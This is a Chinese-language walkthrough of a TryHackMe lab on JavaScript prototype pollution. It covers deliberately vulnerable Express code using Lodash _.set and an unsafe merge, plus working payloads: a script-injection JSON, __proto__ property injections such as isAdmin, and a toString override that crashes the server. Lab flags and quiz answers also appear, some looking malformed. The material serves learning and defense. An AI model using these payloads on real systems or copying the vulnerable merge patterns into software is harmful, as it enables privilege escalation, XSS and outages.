本文章通过对Tryhackme中Prototype Pollution房间的学习https://tryhackme.com/room/prototypepollution,了解到原型污染(Prototype Pollution)是一种利用 JavaScript 原型继承机制的攻击手段。JavaScript 中,每个对象通过原型链链接到其原型,攻击者可通过操纵 proto 等属性,注入恶意属性或方法,从而影响所有继承自该原型的对象。这种攻击可能导致严重后果,如数据泄露、权限提升,甚至拒绝服务(DoS)。例如,攻击者可通过修改 Object.prototype.toString,使应用程序崩溃,或注入属性如 isAdmin: true 提升权限。

其核心在于 JavaScript 的动态特性,尤其是基于原型的继承模型。相比基于类的语言(如 Java),JavaScript 的灵活性使其更易受攻击。典型利用场景包括利用用户输入控制的路径(如 Lodash 的 _set 函数)或不安全的对象合并操作。防御措施包括严格输入验证、使用 Object.freeze() 保护原型、避免操作 proto、定期更新依赖及实施内容安全策略(CSP)。结合自动化工具(如 NodeJsScan)和人工审查,可有效降低风险。

一、概述

原型污染是一种攻击手段,它允许恶意行为者通过操纵 JavaScript 应用程序的内部机制,访问敏感数据或控制应用程序后端。这种攻击利用了 JavaScript 的灵活性和动态特性,尤其是其基于原型的继承模型。

尽管原型污染通常与 JavaScript 环境密切相关,但其核心概念可以扩展到任何采用类似基于原型的继承(如 MDN 上的原型链文档)的系统。然而,由于 JavaScript 在 Web 开发中的广泛应用及其动态对象模型,原型污染在该语言中尤为突出且更具实际意义。相比之下,基于类的继承语言(如 Java 或 C++,详见 Wikipedia 上的类编程)采用静态的类定义,运行时修改类以影响所有实例既不常见也不简单,因此较少受到类似威胁的影响。

1.1 前置基础知识

在深入探讨原型污染之前,我们需要先理解 JavaScript 中的一些核心概念。这些基础将为后续复杂主题奠定基础:

  • 对象:信息的容器,类似保存数据的构建块。
  • 继承:属性和行为从一个对象传递到另一个对象的机制。
  • 函数:可独立使用或嵌入对象的功能工具。
  • 类:定义对象结构和行为的蓝图,是基于原型继承的语法糖。

1.2 对象

在 JavaScript 中,对象是用于组织和存储数据的核心结构。它们通过键值对的形式表示信息。例如,一个社交网络的用户个人资料可以用对象表示:

let user = {
  name: 'Ben S',
  age: 25,
  followers: 200,
  DoB: '1/1/1990'
};

在这个例子中,user 是一个对象,其属性包括 name(姓名)、age(年龄)、followers(关注者数量)和 DoB(出生日期)。这些属性存储了用户的具体信息。对象是 JavaScript 中构建动态、交互式应用的基础。

我们可以在浏览器(如 Chrome)的开发者工具中测试。打开浏览器,右键选择"检查"(Inspect),切换到"控制台"(Console)选项卡,粘贴上述代码并运行。运行后,可通过 console.log(user.name) 访问对象的属性,输出 "Ben S"

None

1.3 类

在 JavaScript 中,类是创建具有相似结构和行为的对象模板。以社交网络为例,我们可以用类来定义普通用户和内容创作者的个人资料:

// 定义普通用户类
class UserProfile {
  constructor(name, age, followers, dob) {
    this.name = name;
    this.age = age;
    this.followers = followers;
    this.dob = dob; // 出生日期
  }
}
​
// 定义内容创作者类,继承自 UserProfile
class ContentCreatorProfile extends UserProfile {
  constructor(name, age, followers, dob, content, posts) {
    super(name, age, followers, dob); // 调用父类构造函数
    this.content = content; // 内容类型
    this.posts = posts; // 帖子数量
  }
}
​
// 创建实例
let regularUser = new UserProfile('Ben S', 25, 1000, '1/1/1990');
let contentCreator = new ContentCreatorProfile('Jane Smith', 30, 5000, '1/1/1990', 'Engaging Content', 50);

在这里,UserProfile 类定义了一个通用的用户模板,包含基本属性。而 ContentCreatorProfile 类通过 extends 关键字继承了 UserProfile 的属性,并添加了内容创作者特有的 content 和 posts 属性。这种结构化方式便于批量创建一致的对象实例。

1.4 原型

JavaScript 中的每个对象都通过原型链接到一个原型对象,形成所谓的原型链。原型本质上是对象的模板,提供共享的属性和方法。以用户个人资料为例,我们可以通过原型实现一个简单的问候功能:

// 定义原型对象
let userPrototype = {
  greet: function() {
    return `Hello, ${this.name}!`;
  }
};
​
// 构造函数创建用户对象
function UserProfilePrototype(name, age, followers, dob) {
  let user = Object.create(userPrototype); // 继承原型
  user.name = name;
  user.age = age;
  user.followers = followers;
  user.dob = dob;
  return user;
}
​
// 创建实例并调用方法
let regularUser = UserProfilePrototype('Ben S', 25, 1000, '1/1/1990');
console.log(regularUser.greet()); // 输出: Hello, Ben S!

在这个例子中,userPrototype 定义了一个 greet 方法,所有通过UserProfilePrototype创建的对象都会继承该方法。原型链使得对象可以动态共享行为。

1.5 类与原型的区别

在 JavaScript 中,类和原型都用于创建对象,但方式不同:

  • 类:类提供了一种结构化的方式来定义对象的模板,类似于蓝图。例如,UserProfile 类确保所有实例共享相同的属性和方法,代码清晰且易于维护。
  • 原型:原型允许动态添加或修改对象的属性和方法。通过 Object.create() 创建的对象可以链接到原型对象,并通过原型链继承行为。这种方式更灵活,但相比类的结构化方法,管理起来可能更复杂。

1.6 继承

继承允许一个对象从另一个对象获取属性和方法,从而形成对象层次结构。以下是一个基于原型的继承示例:

let user = {
  name: 'Ben S',
  age: 25,
  followers: 1000,
  DoB: '1/1/1990'
};

// 创建内容创作者对象,继承自 user
let contentCreatorProfile = Object.create(user);
contentCreatorProfile.content = 'Engaging Content';
contentCreatorProfile.posts = 50;

在这里,contentCreatorProfile 通过 Object.create() 继承了 user 的属性,同时添加了特有的 content 和 posts。JavaScript 支持两种继承方式:

  • 基于原型的继承:使用 Object.create() 或直接操作原型属性实现。
  • 基于类的继承:通过classextends 提供更直观的语法,底层仍是原型机制。

1.7 问题

用户对象中 age 属性的默认值是什么?

25

执行原型代码片段后,运行regularUser.greet()时输出是什么 ?

Hello, Ben S!

执行继承代码片段后, ContentCreatorProfile对象中用户定义属性的总数是多少?

ContentCreatorProfile = Object.create(user);

4

二、工作原理

原型污染是一种安全漏洞,攻击者通过操纵对象的原型,可以影响所有基于该原型的对象实例。在 JavaScript 中,原型是实现继承的核心机制,而攻击者能够利用这一特性,修改共享的属性或方法,甚至在对象之间注入恶意行为。

原型污染本身可能并不直接造成严重威胁,但当它与其他漏洞(如跨站脚本攻击(XSS)或跨站请求伪造(CSRF))结合时,其危害性会显著增强。

2.1 实例

为了更好地理解原型污染,我们来看一个具体的示例。假设我们有一个 Person 的基本原型,其中定义了一个 introduce 方法,用于返回一段自我介绍:

// 定义基础原型
let personPrototype = {
  introduce: function() {
    return `Hi, I'm ${this.name}.`;
  }
};
// Person 构造函数
function Person(name) {
  let person = Object.create(personPrototype); // 创建一个继承自 personPrototype 的对象
  person.name = name; // 设置实例的 name 属性
  return person;
}
// 创建一个实例
let ben = Person('Ben');

将上述代码复制到浏览器的控制台中并执行。创建ben对象后,调用ben.introduce(),输出:Hi, I'm Ben

None

这个例子展示了一个正常的工作流程:ben 是一个基于 personPrototype 的实例,调用 introduce 方法时返回预期的结果。现在,假设攻击者通过某种方式(例如XSS 或 CSRF)成功注入了以下恶意代码:

// 攻击者的Payload
ben.__proto__.introduce = function() {
  console.log("You've been hacked, I'm Bob");
};
console.log(ben.introduce());

执行这段代码后,再次调用ben.introduce(),输出会变成:You've been hacked, I'm Bob

None

让我们逐步分析这段代码的执行过程:

  • 原型定义:personPrototype 最初定义了一个无害的introduce 方法,返回一句基于对象 name 属性的介绍。
  • 对象实例:使用Person('Ben')创建了ben实例,它继承了 personPrototype 的属性和方法。
  • 原型污染攻击:
  • 攻击者通过 ben.proto 访问了 ben 的原型对象。
  • 在 JavaScript 中,proto是对象的一个属性,指向它的原型(在这里是personPrototype)。
  • 攻击者将introduce方法重定义为一个恶意版本,输出有害信息。
  • 对现有实例的影响:因为ben 的原型被修改,调用 ben.introduce() 时执行的是攻击者注入的代码,而不是原始的逻辑。这种修改会影响所有共享该原型的实例。

2.2 为什么会这样?

这涉及到 JavaScript 的原型链机制:

  • 每个对象都有一个原型,原型链允许对象继承属性和方法。
  • ben 的原型是 personPrototype,当我们修改 ben.proto.introduce 时,实际上是改变了 personPrototypeintroduce方法。
  • 这种修改是全局性的,影响所有基于该原型的实例,甚至包括那些在攻击之前创建的实例。

2.3 原型污染的危害

原型污染之所以危险,是因为:

  • 全局影响:修改原型会影响所有依赖该原型的对象实例。
  • 隐蔽性:攻击者可以在不引起注意的情况下改变对象的行为。
  • 与其他漏洞结合:结合 XSS 或 CSRF,攻击者可能利用原型污染窃取敏感数据、执行未授权操作或进一步扩大攻击范围。

2.4 如何防范原型污染

为了防止原型污染,开发者可以采取以下措施:

  • 验证输入数据:确保不受信任的输入不会直接用于修改对象原型。
  • 使用 Object.freeze():冻结原型对象,防止其被篡改。例如:
Object.freeze(personPrototype);
  • 避免直接操作 proto:在代码中避免使用 proto 属性,改用更安全的替代方法(如 Object.create)。

2.5 问题

执行上述代码后,如果你尝试创建一个新人let josh = Person('Josh') , josh.introduce()的输出是什么?

You've been hacked, I'm Bob

攻击者污染的财产名称是什么?

__proto__

三、漏洞利用 — — XSS

以下是关于原型污染与跨站脚本攻击(XSS)漏洞利用,涵盖标准方法、黄金法则、关键函数以及实例分析。

3.1 标准方法

在 JavaScript 中,对象的原型链是原型污染攻击的核心。每个对象都有一个原型,包含两个特别值得关注的属性:

  • constructor:指向构造该对象原型的函数。
  • proto:指向当前对象直接继承的原型对象。

恶意行为者通过操纵这些属性,可以改变对象的原型链,从而注入恶意代码或修改共享属性,导致原型污染。例如,通过将protoconstructor 的属性设置为恶意值,攻击者能够影响所有继承自同一原型的对象。

3.1 黄金法则

原型污染的关键在于攻击者能否控制某些参数。例如,在表达式Person[x][y] = val 中:

  • 如果攻击者将 x 设置为 proto,那么y代表的属性会在所有共享同一原型的对象中被修改为 val 的值。
  • 这种方法利用了 JavaScript 对象原型共享的特性,使得污染具有广泛的影响。

在更复杂的场景中,例如 Person[x][y][z] = val

  • 如果攻击者将x设置为constructory 设置为 prototype,则会在应用程序中所有对象的原型上创建一个新属性 z,并赋值为val
  • 这种方法需要更复杂的对象结构支持,因此在实践中不太常见,但威力巨大。

3.2 重要函数

在识别原型污染漏洞时,应关注以下函数或操作:

  • 按路径定义属性:一些函数允许根据用户提供的路径设置对象属性,例如 object[a][b][c] = value。如果路径(如a、b 或 c)由用户输入控制,这些函数可能被滥用,导致原型污染。
  • 典型例子:Lodash 库的 _set 函数,它允许在对象深层路径上设置值。如果输入未经过严格验证,可能导致意外的属性修改。
  • 对象合并和克隆:在合并或克隆对象时,如果未正确处理原型属性(如proto),可能会无意中引入污染。
  • 动态属性访问:当代码允许用户输入决定属性访问路径时,例如 obj[userInput],攻击者可能利用此功能注入恶意属性。

初始对象结构

在进行任何更新之前,我们有一个初始好友数组,其中包含一个代表好友个人资料的对象。每个个人资料对象都包含 ID、姓名、评论等属性。

let friends = [ { id: 1, name: "testuser", age: 25, country: "UK", reviews: [], albums: [{ }], password: "xxx", } ]; 
_.set(friend, input.path, input.value);

从用户收到的输入

用户想要为好友添加评论。他们提供了一个有效负载,其中包含应添加评论的路径(reviews.content)和评论内容(<script>alert(anycontent)</script>)。

攻击者更新目标原型的路径:

{ "path": "reviews[0].content", "value": "&#60;script&#62;alert('anycontent')&#60;/script&#62;" };

我们使用lodash 中的_set函数来应用有效负载并将评论内容添加到朋友的个人资料对象内的指定路径。

生成的对象结构

执行代码后,好友数组将被修改以包含用户的评论。但是,由于缺乏适当的输入验证,用户提供的评论内容(<script>alert('anycontent')</script>)未经适当处理就直接添加到个人资料对象中。

let friends = [
  {
    id: 1,
    name: "testuser",
    age: 25,
    country: "UK",
    reviews: [
      "<script>alert('anycontent')</script>"
    ],
    albums: [{}],
    password: "xxx",
  }
];

类似地,假设攻击者想要在好友的个人资料中插入恶意属性。在这种情况下,他们会提供一个有效负载,其中包含应添加属性的路径 ( isAdmin ) 和恶意属性的值 ( true )。

const payload = { "path": "isAdmin", "value": true };

执行代码后,数组将被修改,以包含好友个人资料对象中的friends恶意属性isAdmin friends 。该对象将具有以下结构:

let friends = [
  {
    id: 1,
    name: "testuser",
    age: 25,
    country: "UK",
    reviews: [],
    albums: [],
    password: "xxx",
    isAdmin: true // Malicious property inserted by the attacker
  }
];

3.3 实例

假设通过凭据bob/bob@123访问http://IP:5000

None

登录后,将会看到一个仪表板,支持添加相册、发送好友请求和提交评论等功能。我们将重点分析"提交评论"功能,探索其潜在的原型污染和 XSS 漏洞。

None

客户端代码

<form action="/submit-friend-review" method="post" class="mb-4">
    <h2 class="mb-3">Submit a Review</h2>
    <input type="hidden" name="friendId" value="1">
    <div class="form-group">
        <textarea class="form-control" name="reviewContent" placeholder="Write your review here" rows="3"></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Submit Review</button>
</form>
  • 该表单通过POST请求将 friendId(隐藏字段)reviewContent(用户输入)发送到/submit-friend-review端点。

服务器端代码

let friends = [
  {
    id: 1,
    name: "Sabalenka",
    age: 25,
    country: "UK",
    reviews: [],
    albums: [{ name: "USA Trip", photos: "git.thm" }],
    password: "xxx",
  },
  // 其他朋友...
];
app.post("/submit-friend-review", (req, res) => {
  if (!req.session.user) {
    return res.redirect("/signin");
  }
  const { friendId, reviewContent } = req.body;
  const friend = friends.find((f) => f.id === parseInt(friendId));
  if (!friend) {
    return res.status(404).send("Friend not found");
  }
  try {
    const input = JSON.parse(reviewContent);
    _.set(friend, input.path, input.value); // 使用 Lodash 的 _set 函数
  } catch (e) { }
  res.redirect(`/friend/${friendId}`);
});

代码分析:

  • 服务器验证用户会话friendId是否有效。
  • reviewContent 被解析为 JSON 对象,包含pathvalue两个字段。
  • Lodash_set 函数根据 input.path friend 对象上设置input.value
  • 漏洞点:pathvalue完全由用户控制,且未经过输入验证,可能导致原型污染。

攻击者可以利用这一漏洞,通过特制的reviewContent实现原型污染并触发 XSS 攻击。

None

提交以下 JSON 格式的评论内容:

{"path": "reviews[0].content", "value": "<script>alert('Hacked')</script>"}
  • path: "reviews[0].content":指定将值插入reviews数组的第一个元素的content属性。
  • value: "<script>alert('Hacked')</script>":注入恶意 XSS 脚本。
None

执行后,friends 数组变为:

let friends = [
  {
    id: 1,
    name: "Sabalenka",
    age: 25,
    country: "UK",
    reviews: [{ content: "<script>alert('Hacked')</script>" }],
    albums: [{ name: "USA Trip", photos: "git.thm" }],
    password: "xxx",
  }
];

当其他用户访问该好友的个人资料时,浏览器会执行 <script>alert('Hacked')</script>,触发 XSS 弹窗。

None

攻击者还可以注入其他属性,例如:

{"path": "isAdmin", "value": true}
  • 这会在friend 对象中添加 isAdmin: true,可能提升攻击者的权限。

成功注入后,friends 数组可能变成:

let friends = [
  {
    id: 1,
    name: "Sabalenka",
    age: 25,
    country: "UK",
    reviews: [{ content: "<script>alert('Hacked')</script>" }],
    albums: [{ name: "USA Trip", photos: "git.thm" }],
    password: "xxx",
    isAdmin: true // 恶意属性
  }
];

通过这个实例,我们了解到攻击者如何利用按路径定义属性的技术(如 Lodash 的 _set 函数),结合 XSS 攻击,扩大漏洞的影响。原型污染本身可能影响有限,但与 XSS 等攻击结合后,其危害显著增加。

3.4 问题

应用程序与_.set函数一起使用的易受攻击的实用程序的名称是什么 ?

lodash

对于像test[i][j]这样的表达式,哪些可控参数可能导致原型污染?

i

四、漏洞利用 — — 属性注入

在本节中,我们将深入探讨攻击者如何利用对象递归合并和对象克隆等功能进行属性注入,从而实现原型污染。我们将通过代码示例和实例分析来揭示这些漏洞的利用方式及其潜在影响,并提供防御建议。

4.1 重要功能

4.1.1 对象递归合并

对象递归合并是一种将源对象的属性递归地合并到目标对象中的操作。如果合并函数未对输入进行验证,攻击者可以通过注入proto属性来污染对象的原型链。 假设一个社交网络应用中有一个用于更新用户设置的端点,代码如下:

// 易受攻击的递归合并函数
function recursiveMerge(target, source) {
    for (let key in source) {
        if (source[key] instanceof Object) {
            if (!target[key]) target[key] = {};
            recursiveMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}
// 更新用户设置的端点
app.post('/updateSettings', (req, res) => {
    const userSettings = req.body; // 用户控制的输入
    recursiveMerge(globalUserSettings, userSettings);
    res.send('Settings updated!');
});

攻击者发送以下请求:

{ "__proto__": { "newProperty": "value" } }
  • proto :在 JavaScript 中,proto 是对象原型链的访问器。上述代码将 newProperty: "value" 添加到 globalUserSettings 的原型中。
  • 影响:所有共享该原型的对象都会继承 newProperty,可能导致意外行为或权限提升。

4.1.2 对象克隆

对象克隆涉及深度复制对象。如果克隆操作未过滤特殊属性(如proto),攻击者可能利用此功能将恶意属性注入到新对象的原型中。 假设应用后端在创建新用户配置文件时克隆对象:

// 易受攻击的克隆函数
function clone(obj) {
    return JSON.parse(JSON.stringify(obj));
}
// 创建新用户配置文件
app.post('/createProfile', (req, res) => {
    const newProfile = clone(req.body);
    // 处理逻辑...
});

攻击者提交以下数据:

{ "__proto__": { "isAdmin": true } }
  • 结果:克隆操作将 isAdmin: true 添加到新对象的原型中,可能导致未经授权的权限提升。

4.2 实例

通过一个实际案例 — — "克隆相册"功能,来了解攻击者如何利用这些漏洞。假设社交媒体应用允许用户通过提供新名称来克隆朋友的相册。

"克隆相册"功能的表单如下:

<form action="/clone-album/1" method="post" class="mb-4">
    <h2 class="mb-3">Clone Album of Josh</h2>
    <div class="form-group">
        <label for="selectedAlbum">Select an Album to Clone:</label>
        <select class="form-control" name="selectedAlbum" id="selectedAlbum">
            <option value="Trip to US">Trip to US</option>
        </select>
    </div>
    <div class="form-group">
        <label for="newAlbumName">New Album Name:</label>
        <input type="text" class="form-control" name="newAlbumName" id="newAlbumName" placeholder="Enter new album name">
    </div>
    <button type="submit" class="btn btn-primary">Clone Album</button>
</form>
  • 用户选择要克隆的相册并输入新名称,提交到/clone-album/{friendId}端点。

服务器端处理逻辑如下:

app.post("/clone-album/:friendId", (req, res) => {
  const { friendId } = req.params;
  const { selectedAlbum, newAlbumName } = req.body;
  const friend = friends.find((f) => f.id === parseInt(friendId));
  if (!friend) {
    console.log("Friend not found");
    return res.status(404).send("Friend not found");
  }
  const albumToClone = friend.albums.find(
    (album) => album.name === selectedAlbum
  );
  if (albumToClone && newAlbumName) {
    let clonedAlbum = { ...albumToClone };
    try {
      const payload = JSON.parse(newAlbumName);
      merge(clonedAlbum, payload);
    } catch (e) {
    }
    // 后续处理...
  }
});
function merge(to, from) {
  for (let key in from) {
    if (typeof to[key] == "object" && typeof from[key] == "object") {
      merge(to[key], from[key]);
    } else {
      to[key] = from[key];
    }
  }
  return to;
}

代码分析:

  • 输入处理:服务器接收newAlbumName,尝试将其解析为 JSON 对象(JSON.parse(newAlbumName))。
  • 合并操作:解析后的 payload 通过merge函数与 clonedAlbum 合并。
  • 漏洞点:merge 函数未过滤proto等特殊属性。

构造恶意 Payload并在"新相册名称"字段输入以下 JSON 字符串:

{"__proto__": {"newProperty": "hacked"}}

执行过程

  • JSON.parse 将字符串解析为对象:{ "proto": { "newProperty": "hacked" } }
  • merge 函数遍历 payload,遇到 __proto__ 时,将 newProperty: "hacked" 添加到 clonedAlbum 的原型中。
None

结果

  • clonedAlbum.__proto__.newProperty 被设置为"hacked"
  • 由于所有相册对象共享同一原型,所有相册对象现在都可以通过 album.newProperty 访问 "hacked"

访问 URLhttp://MACHINE_IP:8080/getFlag.php获取flag。

None

4.3 原型污染的影响

  • 对同一类型的所有对象的影响 所有从同一原型创建的对象(例如所有相册对象)都会受到影响。添加 newProperty 到原型意味着每个相册对象都继承了此属性。
  • 属性访问
  • 直接检查对象(console.log(clonedAlbum))时,newProperty 不会显示,因为它位于原型上而非对象自身。
  • 但通过 clonedAlbum.newProperty 可以访问到 "hacked",因为 JavaScript 会沿原型链查找。
  • 可见性 在使用 EJS 模板渲染时,例如:
<% for (let key in friend) { %>
 <%= key %>: <%= friend[key] %>
<% } %>
  • for…in 循环会遍历对象的所有可枚举属性,包括从原型继承的 newProperty,导致其显示在页面上。

4.4 总结与防御

通过上述分析,我们看到攻击者如何利用对象递归合并和对象克隆进行属性注入,实现原型污染。防御建议:

过滤特殊属性:在合并或克隆时,检查并排除 __proto__、constructor 等敏感属性。例如:

if (key === "__proto__" || key === "constructor") continue;

使用安全的合并函数:避免使用不安全的递归合并,改用 Object.assign() 或安全的深拷贝库(如 lodash.cloneDeep)。

严格验证用户输入:确保 newAlbumName 仅为字符串,避免直接解析为 JSON。例如:

if (typeof newAlbumName !== "string") throw new Error("Invalid input");

4.5 问题

新添加的newProperty字段的默认值是什么?

hacked

以下哪项是使用合并操作造成原型污染的主要原因?请仅写出正确的选项。

a) 根本不应该使用合并

b) 缺少消毒过滤器

c) 克隆其他用户的相册

b

创建一个名为isBanned的新属性,默认值为true。创建属性后的 flag 值是什么?访问http://MACHINE_IP:8080/getFlag.php 获取 flag。

THM{FAKEPROPERTY_ADDED}

五、漏洞利用 — — 拒绝服务

原型污染是 JavaScript 应用程序中的一种严重漏洞,可能导致拒绝服务(DoS)攻击及其他严重后果。攻击者通过操纵广泛使用的对象的原型(如 Object.prototype),可以引发应用程序异常行为,甚至使其完全崩溃。在 JavaScript 中,对象通过原型链继承属性和方法,因此修改原型会影响所有依赖该原型的对象。

例如,假设攻击者污染了 Object.prototype.toString 方法,将其改为不可执行的值或恶意逻辑。由于 toString 方法在 JavaScript 中被广泛使用(例如在日志记录、字符串转换等场景中会自动调用),这种污染可能导致意外行为甚至系统故障。如果污染后的方法引发低效处理(如无限循环)或未处理异常,系统资源可能被耗尽,从而触发 DoS 攻击。此外,原型污染还可能干扰应用程序的业务逻辑,导致服务中断,拒绝合法用户访问。

5.1 实例

让我们通过一个具体的社交媒体应用程序(URL:http://MACHINE_IP:5000)来演示攻击者如何利用原型污染引发 DoS 攻击。

在该应用程序的"克隆相册"功能中,用户可以通过以下表单提交新相册名称:

<form action="/clone-album/1" method="post" class="mb-4">
    <h2 class="mb-3">Clone Album of Josh</h2>
    <div class="form-group">
        <label for="selectedAlbum">Select an Album to Clone:</label>
        <select class="form-control" name="selectedAlbum" id="selectedAlbum">
            <option value="Trip to US">Trip to US</option>
        </select>
    </div>
    <div class="form-group">
        <label for="newAlbumName">New Album Name:</label>
        <input type="text" class="form-control" name="newAlbumName" id="newAlbumName" placeholder="Enter new album name">
    </div>
    <button type="submit" class="btn btn-primary">Clone Album</button>
</form>

服务器端使用以下代码处理"克隆相册"请求,其中包含一个合并函数merge,用于将用户输入与现有相册对象合并:

app.post("/clone-album/:friendId", (req, res) => {
    let clonedAlbum = { ...albumToClone };
    try {
        const payload = JSON.parse(req.body.newAlbumName);
        merge(clonedAlbum, payload);
    } catch (e) { }
    // ...(后续逻辑省略)
});
function merge(to, from) {
    for (let key in from) {
        if (typeof to[key] === "object" && typeof from[key] === "object") {
            merge(to[key], from[key]);
        } else {
            to[key] = from[key];
        }
    }
    return to;
}

攻击者可以在"New Album Name"输入框中提交以下 JSON 字符串:

{"__proto__": {"toString": "Just crash the server"}}

此 Payload 旨在通过__proto__属性污染Object.prototype,将 toString 方法覆盖为一个字符串。

None

执行过程

  • 服务器接收请求后,将 newAlbumName 解析为 JSON 对象:{ "__proto__": { "toString": "Just crash the server" } }
  • merge 函数将此 Payload 合并到 clonedAlbum 中。由于 __proto__ 是对象的原型属性,toString 被添加到 Object.prototype 中。
  • 当后续代码尝试调用toString(如日志记录或字符串转换)时,会因其不再是函数而抛出错误,例如:TypeError: Object.prototype.toString.call is not a function

结果

  • 应用程序崩溃,服务器无法处理后续请求,导致 DoS 状态。
  • 注意:在演示环境若需重启服务器,可访问 http://MACHINE_IP:8080
None

访问 URL http://MACHINE_IP:8080/getFlag.php获取flag。

None

攻击者还可以尝试污染其他内置方法(如toJSON、valueOf 或 constructor),但是否导致崩溃取决于被覆盖方法的具体作用和使用场景。

None
None

通过污染原型中的关键方法(如 toString),攻击者可以轻松使应用程序崩溃,引发 DoS 攻击。开发者应采取以下初步防御措施:

  • 输入验证:检查并过滤用户输入,阻止proto 等敏感属性。
  • 原型保护:避免直接操作原型,使用安全的对象操作方法。

5.2 问题

通过toString()导致服务器崩溃后的标志值是什么?

THM{CRA5H#D)

重写内置String函数toLocaleString()后,标志值是什么?

THM{OV3RRID3}

六、流程自动化

在 JavaScript 中识别原型污染是一个复杂问题,因为其动态特性允许对象共享原型功能。与 SQL 注入等通过特定模式检测的漏洞不同,原型污染需要深入分析代码,理解对象间的交互方式。每个 Web 应用程序的逻辑和结构各异,使得自动化工具难以全面捕捉所有潜在问题。尽管如此,安全工具仍可辅助发现风险。

6.1 自动化工具

以下是一些由开源社区开发的工具,可用于自动化检测原型污染漏洞:

  • NodeJsScan 一个静态代码分析工具,专为 Node.js 应用程序设计,可检测包括原型污染在内的多种安全问题。适合集成到开发流程中。
  • 原型污染扫描器 扫描 JavaScript 代码,查找可能导致原型污染的模式,帮助开发者识别潜在风险。
  • PPFuzz 一个模糊测试工具,通过测试输入向量,自动检测 Web 应用程序中的原型污染漏洞。
  • BlackFan 的客户端检测 专注于客户端 JavaScript 中的原型污染,提供漏洞利用示例,适用于浏览器环境分析。

6.2 测试关注点

在测试原型污染时,需重点关注以下方面:

  • 用户输入:检查用户控制的输入是否影响对象合并、属性定义或克隆操作。
  • 动态属性访问:确认是否存在通过用户输入动态访问属性的代码。
  • 第三方依赖:评估应用程序使用的库是否存在已知原型污染漏洞。

通过结合自动化工具和人工分析,测试人员可以更高效地发现并利用漏洞。

6.3 问题

更好地理解代码是否可以在识别原型污染时提供更好的洞察力?

yea

七、缓解措施

7.1 测试

  • 输入模糊测试:对输入进行模糊测试,使用多种 Payload(如{"proto": {}})探测原型污染场景。
  • 上下文分析:分析代码,了解用户输入如何与原型交互,并注入测试 Payload。
  • CSP 绕过:评估内容安全策略(CSP)等防御机制的有效性,尝试绕过限制。
  • 依赖分析:检查第三方库是否存在原型污染漏洞,并尝试利用这些弱点。
  • 静态分析:使用工具在开发阶段识别潜在问题。

7.2缓解措施

  • 避免不安全函数:谨慎使用动态路径设置函数,如 _set,并添加白名单限制,禁止直接使用` proto,改用 Object.getPrototypeOf() 等安全方法。
  • 对象保护:使用 Object.freeze() 冻结关键对象原型,防止修改。
  • 严格验证用户输入:严格验证和清理用户输入,确保 path 和 value 不包含恶意内容或不受控路径,阻止注入敏感属性。
  • 封装设计:仅暴露必要接口,限制对原型的直接访问。
  • 依赖管理:定期更新依赖,选择可靠的库,并关注安全补丁。
  • 安全标头:实施 CSP,限制资源加载来源,降低恶意脚本风险。

7.3 问题

定期扫描和更新第三方库和依赖项的进程名称是什么?

Dependency Analysis and Exploitation